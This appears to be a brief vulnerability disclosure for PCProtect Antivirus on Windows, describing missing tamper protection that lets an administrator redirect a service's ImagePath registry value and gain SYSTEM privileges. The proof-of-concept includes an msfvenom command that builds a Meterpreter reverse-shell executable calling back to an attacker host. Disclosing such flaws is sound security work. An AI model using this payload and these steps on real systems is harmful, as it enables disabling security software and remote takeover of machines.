PCProtect Endpoint Protection v5.17.470
PCProtect is a malware detection and antivirus scanner. It uses advanced heuristics and a massive, continuously updated database to detect malware files on Windows, macOS, and Android devices. It also has an iOS app.
PCProtect also includes additional features, including:
Web shield - Virtual private network (VPN) - Data breach monitor - Identity theft protection - System optimizer- Password manager- And much more…
Missing Tamper Protection
PCProtect Antivirus prior to version 5.17.470 installed on Microsoft Windows does not provide sufficient anti-tampering protection of services by users with Administrator privileges. This could result in a user disabling PCProtect Antivirus and the protection offered by it. Also It lead to Raised privilege to SYSTEM.
That can occurred by modifying a specific registry key.
Change ImagePath path to a malicious executable.
Create malicious executable through msfvenom
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LOCALIP LPORT=4444 -f exe -o meta.exe
Modify (ImagePath) with the path of the malicious executable - Restart
